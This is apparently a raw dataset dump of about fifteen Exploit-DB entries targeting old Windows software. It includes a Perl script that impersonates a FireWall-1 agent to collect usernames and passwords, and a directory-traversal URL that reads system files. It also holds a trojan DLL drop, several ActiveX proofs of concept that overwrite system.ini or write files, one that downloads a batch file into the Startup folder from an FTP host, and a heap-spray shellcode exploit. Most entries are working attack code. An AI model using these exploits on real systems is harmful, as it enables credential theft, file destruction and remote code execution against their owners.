deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8392
Description: Chance-i DiViS DVR System Web-Server - Directory Traversal
Type: remote
Platform: windows
Date: 2009-04-10
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-036

original advisory: http://dsecrg.com/pages/vul/DSECRG-09-036.html

Application:                Chance-i DiViS DVR System web-server
Versions Affected:          2.0
Vendor URL:                 http://www.chance-i.com/
Bug:                        Directory Traversal File Download
Exploits:                   YES
Reported:                   13.03.2009
Second Reported:            20.03.2009
Solution:                   NONE
Date of Public Advisory:    09.04.2009
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

DiViS DVR System web-server which fingerprints as Techno Vision Security System has Directory Traversal vulnerability.



Details
*******

Directory traversal vulnerability find in DiViS DVR System web-server.

Successfully exploiting these issues allows remote attackers to access the contents of arbitrary files.

Example:

http://[server]/../../../../../../../boot.ini



Solution:
*********

We did not get any response from vendor for more than 2 weeks.

No patches aviable.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-10]
Exploit-DB #20214
Description: Check Point Software Firewall-1 3.0/1 4.0 - Session Agent Impersonation
Type: remote
Platform: windows
Date: 1998-09-24
Author: Andrew Danforth

Exploit:
source: https://www.securityfocus.com/bid/1661/info

A vulnerability exists in the "Session Agent" portion of Firewall-1, from Check Point. This vulnerability appears to affect all versions of the session agent prior to the one shipped in FW-1 4.1. The session agent listens on a Windows 9x or NT box for connections from the firewall, requesting user authentication for connections. This information is all transmitted in cleartext, and is unauthenticated. This means it can be sniffed. In addition, the agent accepts connections from any host. Any person who can connect to the session agent can impersonate the Firewall-1 module, and request username and password information. If supplied, this can result in the compromise of that username and password.

#!/usr/bin/perl -w
#
# This script connects to a FireWall-1 Session Authentication Agent
# running on Windows 95/NT. It attempts to "authenticate" the remote
# user and returns the resulting username/password.
#
# The agent supports configuration of up to three IP addresses which
# are allowed to submit authentication requests. If there are three
# addresses configured, the user is presented with the following when
# an unknown host connects:
#
# "Authentication request from this IP Address is not allowed."
# [ OK ]
#
# If there are only one or two addresses allowed, the user gets this
# nice little dialog box:
#
# "Do you want to enter this IP to the Firewall-1 list"
# [ YES ] (default) [ NO ]
#
# Guess which button your typical user will click on?
#
# If the agent closes the connection prematurely, you will get strange
# results.
#
# tested vs. FW-1 Authentication Agent 1.1
#
# Andrew Danforth <acd@weirdness.net>

require 5.000;

use Socket;
use Getopt::Std;

$| = 1;

$FIREWALL_NAME = "Corporate Firewall";
$PASSWORD_PROMPT = "FireWall-1 password";
$PORT = 261;

die unless getopts('n:p:');

unless ($TARGET_IP = shift) {
print "usage: $0 [-n firewall_name] [-p password_prompt] target_ip\n";
exit(1);
}

$FIREWALL_NAME = $opt_n if (defined $opt_n);
$PASSWORD_PROMPT = $opt_p if (defined $opt_p);

socket(SOCK, AF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "socket: $!";
connect(SOCK, sockaddr_in($PORT, inet_aton($TARGET_IP))) || die "connect: $!";

select(SOCK); $| = 1; select(STDOUT);

print SOCK "220 FW-1 Session Authentication Request from $FIREWALL_NAME\n\r";
print "sent greeting\n";
print SOCK "331 User:\n\r";
print "sent user request\n";
$username = &get_response;
print "username entered: $username\n";
print SOCK "331 *$PASSWORD_PROMPT:\n\r";
$password = &get_response;
print "password entered: $password\n";
print SOCK "200 User $username authenticated by FireWall-1 authentication.\n\r";
print SOCK "230 OK\n\r";

sub get_response {
# this is ugly but it works. the session agent doesn't seem to send proper newlines.
my $input;
$input .= $key while($key = getc SOCK and ord($key));
return $input;
}
Exploit-DB #33501
Description: Cherokee 0.99.30 - Terminal Escape Sequence in Logs Command Injection
Type: remote
Platform: windows
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37715/info

Cherokee is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Cherokee 0.99.30 and prior are vulnerable.

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
Exploit-DB #19083
Description: Cheyenne Inoculan for Windows NT 4.0 - Share
Type: remote
Platform: windows
Date: 1998-06-10
Author: Paul Boyer

Exploit:
source: https://www.securityfocus.com/bid/106/info

It is possible to run arbitrary code on any Intel machine running Cheyenne Inoculan version 4.0 for Windows NT prior to SP2. 

Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server". 
When it starts, it replaces any shared directory with the same name and shares "CHEYUPD$" with full control for the everyone group.

When the service starts, it does an update check in this directory (usually "C:\Inoculan\Update\" ) using the files "&lt;NtBox&gt;\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and [idem]...\avh32dll.dll

Simply "touching" or modifying the file "filelist.txt" to look younger than real causes the update. Th update causes the service to stop, the avh32dll.dll DLL to replace the existing one (usually in 
c:\inoculan\avh32dll.dll) and then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot of 
stuff (including checking if it is a valid DLL, I presume).

You can write a DLL that executes arbitrary code at the time it 
is loaded in memory, at the precise time when DllMain is called by the image loader, before any other function have a chance to be called.

To check if you are vulnerable, if you have the resource kit installed, run 

SRVCHECK.EXE \\&lt;YourMachine&gt;

else run srvmgr.exe from a NT server on the same domain, select &lt;YourMachine&gt; and select "Computer|Shared Directories".

If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL" to the "EVERYONE" group, you are vulnerable.

An interesting point is that Inoculan uses "domains". In one domain, a single server forwards the updates to all machines participating in that "domain" (nothing to do with NT domains). It may be possible to write the trojan DLL to the domain's server CHEYUPD$ shared directory, and have it copy it to all the machines in the domain.

inoctroj.cpp:
-------Cut here -----------
#include "stdio.h"

long __stdcall DllMain (long, unsigned long, void*)
{
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
FILE * demo;

// create a file
demo = fopen ( "C:\\I_can_write_a_file.txt", "w");

// write to the file
char * buf = "hello world ! ";
fwrite ( buf,1, 15, demo);
fclose ( demo );

// This aborts the DLL loading. Anyway, we're done at that time ;))
return 0; 
}

-------Cut here -----------

Compile and link to make the target avh32dll.dll. Write it to 
<NtBox>\CHEYUPD$\English\NtIntel\Ready\, touch 
<NtBox>\CHEYUPD$\English\NtIntel\Ready\filelist.txt to be newer
that it currently is. Wait for the user to stop and restart the InnocuLAN 
server, or for them to reboot.
Exploit-DB #4255
Description: CHILKAT ASP String - 'CkString.dll 1.1 SaveToFile()' Insecure Method
Type: remote
Platform: windows
Date: 2007-08-05
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>CHILKAT ASP String (CkString.dll <= 1.1) "SaveToFile()" Inscure Method</b>
 url: http://www.chilkatsoft.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data</b>
-----------------------------------------------------------------------------

<object classid='clsid:90E567DA-5E79-4571-AB07-7A397FFBE995' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim mStr
  Dim MyMsg  
   mStr = "echo off" & vbCrLf & _
          "cls" & vbCrLf & _
          "echo Hello World!" & vbCrLf & _
          "cmd.exe /c notepad.exe" & vbCrLf & _
          "pause"

   test.str = mStr
   test.SaveToFile ("c:\shinnai.bat"),"big5"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-08-05]
Exploit-DB #7594
Description: Chilkat FTP - ActiveX (SaveLastError) Insecure Method
Type: remote
Platform: windows
Date: 2008-12-28
Author: callAX

Exploit:
<html>
<title>ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2</title><br><br>
<body>
<h3>ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2 Arbitrary Data Write Exploit</h3>

<!c0d3d by callAX 
*-*-*-*-*
0wN thE b0x p4l
*_*-*_*_*
Greetings to str0ke and Fr0git0-->

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{3B598BD0-AF50-48C6-B6A5-63261A48B054}"></object>

<SCRIPT>

function Do_it()
 {
   File = "c:\\boot_.ini"
   ctrl.SaveLastError(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="S3nd me to thls HD">
</body>
</HTML>

# milw0rm.com [2008-12-28]
Exploit-DB #5028
Description: Chilkat FTP ActiveX 2.0 - 'ChilkatCert.dll' Insecure Method
Type: remote
Platform: windows
Date: 2008-01-31
Author: darkl0rd

Exploit:
<body bgcolor="#000000">

<div align="center">

<pre><code><span style="font: 10pt verdana;"><font color="#00FF00">=======================================================================
</font></div><center>
 <h1 id="product"><font color="#00FF00" size="2">Chilkat FTP ActiveX 2.0 (ChilkatCert.dll) Insecure Method</font><font face="Verdana" color="#00FF00"><br><br><font size="2"> Web site : <a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</font></a></font></font><font color="#00FF00"><br></font><font face="Verdana" color="#00FF00"><br><font size="2">=======================================================================</font></font></span><font color="#00FF00"><br><span style="font-style:normal; font-variant:normal; font-size:10pt; font-family:Verdana; font-weight:700">Author: darkl0rd<br> <br>E-mail: l_l_darkl0rd_l_l@yahoo.com</span><br><span style="font-style:normal; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Verdana"><br> Tested on Windows XP Professional SP2 , with Internet Explorer 6</span></font></h1><p id="product"><font color="#FF0000">Class privateKey</font><font color="#00FF00"><br></font><font color="#FF0000">GUID: {A934AEE3-8896-485F-8A55-ACF2A87BD010}<br>Number of Interfaces: 1<br>Default Interface: IPrivateKey</font></p><p id="product"><font color="#FF0000">SavePkcs8File</font></p></center>

<div align="center"><font color="#00FF00"><object classid='clsid:A934AEE3-8896-485F-8A55-ACF2A87BD010' id='over' align="left" width="1" height="2"></object>
<input language=VBScript onclick=lose() type=button value="Exploit">

<script language='vbscript'>
 Sub lose
   mystr="c:\darkl0rd.txt"
   over.SavePkcs8File mystr
   MyMsg = MsgBox(" Done ! ")
 End Sub
</script>
</span></span>

</font></code></div></p>
</pre>

# milw0rm.com [2008-01-31]
Exploit-DB #6600
Description: Chilkat IMAP ActiveX 7.9 - File Execution / Denial of Service
Type: remote
Platform: windows
Date: 2008-09-27
Author: e.wiZz!

Exploit:
##################Chilkat IMAP ActiveX File Execution&IE DoS ################

www.chilkasoft.com

####By:  e.wiZz!
####Info: Bosnian Idiot FTW!
####Site: infected.blogger.ba
####Greetz: suN8Hclf,Luigi and peoples from hakin9 forum

In the wild...

#####################################################################################

File: ChilkatMail_v7_9.dll
ProgID: ChilkatMail2.ChilkatMailMan2.1
CLSID: 126FB030-1E9E-4517-A[PII_REDACTED]82C50

Description:

Function "LoadXmlEmail()" allows us to execute file which leads to DoS in IE.

Tested on IE 6,Win xp sp2

#####################################################################################

<object classid='clsid:126FB030-1E9E-4517-A[PII_REDACTED]82C50' id='inthewild' />
<script language='vbscript'>

targetFile = "C:\Program Files\Chilkat Software Inc\Chilkat IMAP ActiveX\ChilkatMail_v7_9.dll"
prototype  = "Function LoadXmlEmail ( ByVal emailFilename As String ) As IChilkatEmail2"
memberName = "LoadXmlEmail"
progid     = "CHILKATMAILLib2.ChilkatMailMan2"
argCount   = 1

arg1="C:\Program Files\mIRC\mirc.exe"

inthewild.LoadXmlEmail arg1 

</script>

# milw0rm.com [2008-09-27]
Exploit-DB #5005
Description: Chilkat Mail ActiveX 7.8 - 'ChilkatCert.dll' Insecure Method
Type: remote
Platform: windows
Date: 2008-01-29
Author: darkl0rd

Exploit:
<body bgcolor="#000000">

<p align="center"><b><font face="Verdana" color="#00FF00" size="2">Chilkat Mail 
ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">Site :
<a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</font></a></font></b></p>
<p align="center"><font color="#00FF00" face="Verdana">
===================================================</font></p>
<p align="center"><b><font face="Verdana" color="#00FF00" size="2">Tested on 
Windows XP Professional SP2 , with Internet Explorer 6</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">Author : 
darkl0rd</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">E-Mail : 
l_l_darkl0rd_l_l[at]yahoo[dot]com</font></b></p>
<p align="center"><b><font color="#FF0000" face="Verdana" size="2">SaveLastError</font></b></p>
<p align="center">
<object classid='clsid:2A9A3D40-2F32-45BF-9A89-AC9ED6C2FEDF' id='over' align="left"></object>

<input language=VBScript onclick=lose() type=button value="Exploit">

<script language='vbscript'>
 Sub lose
   mystr="c:\darkl0rd.txt"
   over.SaveLastError mystr
   MyMsg = MsgBox("Done !")
 End Sub
</script>
</span></span>

</code></p>
</pre>

# milw0rm.com [2008-01-29]
Exploit-DB #7142
Description: Chilkat Socket ActiveX 2.3.1.1 - Arbitrary File Creation
Type: remote
Platform: windows
Date: 2008-11-17
Author: Zigma

Exploit:
<html>
<title>ChilkatSocket.DLL Arbitrary File Creation</title><br><br>
<body>
Company Name         : Chilkat Software, Inc.<br><br>
Vulnerable DLL       : ChilkatSocket.DLL<br><br>
DLL's version        : 2,3,1,1<br><br>
Object Safety Report : <br>
Report for Clsid: {474FCCCD-1B89-4D34-9E09-45807F23289C}<br>
RegKey Safe for Script: Faux<br>
RegKey Safe for Init: Faux<br>
Implements IObjectSafety: Vrai<br>
IDisp Safe:  Safe for untrusted: caller,data<br>  
IPersist Safe:  Safe for untrusted: caller,data <br> 
IPStorage Safe:  Safe for untrusted: caller,data  <br>
 
Exploit         : Arbitrary File Creation<br><br> 
Author          : Underz0ne Crew<br>
                  Zigma<br>
Homepage        : http://www.underz0ne.org<br><br>

<object classid='clsid:474FCCCD-1B89-4D34-9E09-45807F23289C' id='boom' ></object>
<script language='vbscript'>
arg1="c:\winnt\uz_.exe"
boom.SaveLastError arg1 
</script>
</body>
<html>

# milw0rm.com [2008-11-17]
Exploit-DB #15866
Description: Chilkat Software FTP2 - ActiveX Component Remote Code Execution
Type: remote
Platform: windows
Date: 2010-12-30
Author: rgod

Exploit:
<!--
Chilkat Software FTP2 ActiveX Component (ChilkatFtp2.DLL 2.6.1.1) Remote Code Execution poc
by rgod
tested against Internet Explorer 7 on Vista
should also work with 8/9
ActiveX Settings:
CLSID: {302124C4-30A0-484A-9C7A-B51D5BA5306B}
Progid: ChilkatFtp2.ChilkatFtp2.1
Binary Path: C:\Windows\System32\CHILKA~2.DLL
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True

This class allows to copy/overwrite files inside arbitrary locations ex. by the GetFile()
method. This code creates a batch file inside the automatic startup folder,
setup a ftp server allowing anonymous connections and place the code you want
to be retrieved.
This control is also used by lots of freeware applications, it was not documented so I posted here.
Note that previous versions has a different clsid, I'm saying this for filtering purposes.
-->
<html>
<object classid='clsid:302124C4-30A0-484A-9C7A-B51D5BA5306B' id='obj' />
</object>
<script>
obj.UnlockComponent("suntzu"); //needed for file transfer operations, type whatever here
obj.Port=21; //configure ftp connection
obj.Hostname="192.168.0.1"; //change here
obj.ConnectTimeout=5;
obj.Passive=1;
var x;
x=obj.Connect(); 
if (x==1){
x = obj.GetFile("suntzu.txt","c:/Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/suntzu.bat"); //boom
}
obj.Disconnect();
</script>

original url: http://retrogod.altervista.org/9sg_chilkat.html
Exploit-DB #4160
Description: Chilkat Zip ActiveX Component 12.4 - Multiple Insecure Methods
Type: remote
Platform: windows
Date: 2007-07-07
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------
 <b>Chilkat Software Chilkat Zip ActiveX Component (ChilkatZip2.dll v. 12.4.2.0)
 "SaveLastError()" and "WriteExe()" Insecure Methods</b>
 
 url: http://www.chilkatsoft.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data
 KillBitSet: Falso</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
------------------------------------------------------------------------------
<object classid='clsid:DB90DEA9-0897-4B02-9FE0-1E321A22EAB0' id='test'></object>

<script language='vbscript'>
    test.SaveLastError "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"Chilkat Zip")
</script>
</span>
</code></pre>

# milw0rm.com [2007-07-07]
Exploit-DB #5338
Description: ChilkatHttp ActiveX 2.3 - Arbitrary Files Overwrite
Type: remote
Platform: windows
Date: 2008-04-01
Author: shinnai

Exploit:
--------------------------------------------------------------------
 ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite
 url: www.chilkatsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
--------------------------------------------------------------------
<object classid='clsid:B973393F-27C7-4781-877D-8626AAEDF119' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SaveLastError "c:\windows\system_.ini"
  MsgBox "Exploit completed!"
 End Sub
</script>

# milw0rm.com [2008-04-01]
Exploit-DB #8758
Description: ChinaGames - 'CGAgent.dll' ActiveX Remote Code Execution
Type: remote
Platform: windows
Date: 2009-05-21
Author: etirah

Exploit:
#
# ChinaGames (CGAgent.dll) ActiveX Remote Code Execution Exploit
# Exploit made by etirah
# Download: www.chinagames.com
#
# Problem DLL    :   CGAgent.dll
# Problem Func   :   CreateChinagames(param1)
# Problem Param  :   param1
#
# References:
#     1. http://bbs.pediy.com/showthread.php?t=87615
#     2. http://www.milw0rm.com/exploits/8579

<html>
<body>
<object classid="clsid:75108B29-202F-493C-86C5-1C182A485C4C" id="target"></object>

<script>
function test()
{
    var shellcode = unescape("\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6574\u7473\uc48b\u6853\u3a20\u292d\u7468\u2065\u6820\u6168\u6972\ud48b\u5053\u5352\u57ff\u53fc\u57ff\u00f8");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;

    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;

    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 796 )
        buffer+=unescape("%u0c0c");
    target.CreateChinagames(buffer);
}

test();

</script>
</body>
</html>

# milw0rm.com [2009-05-21]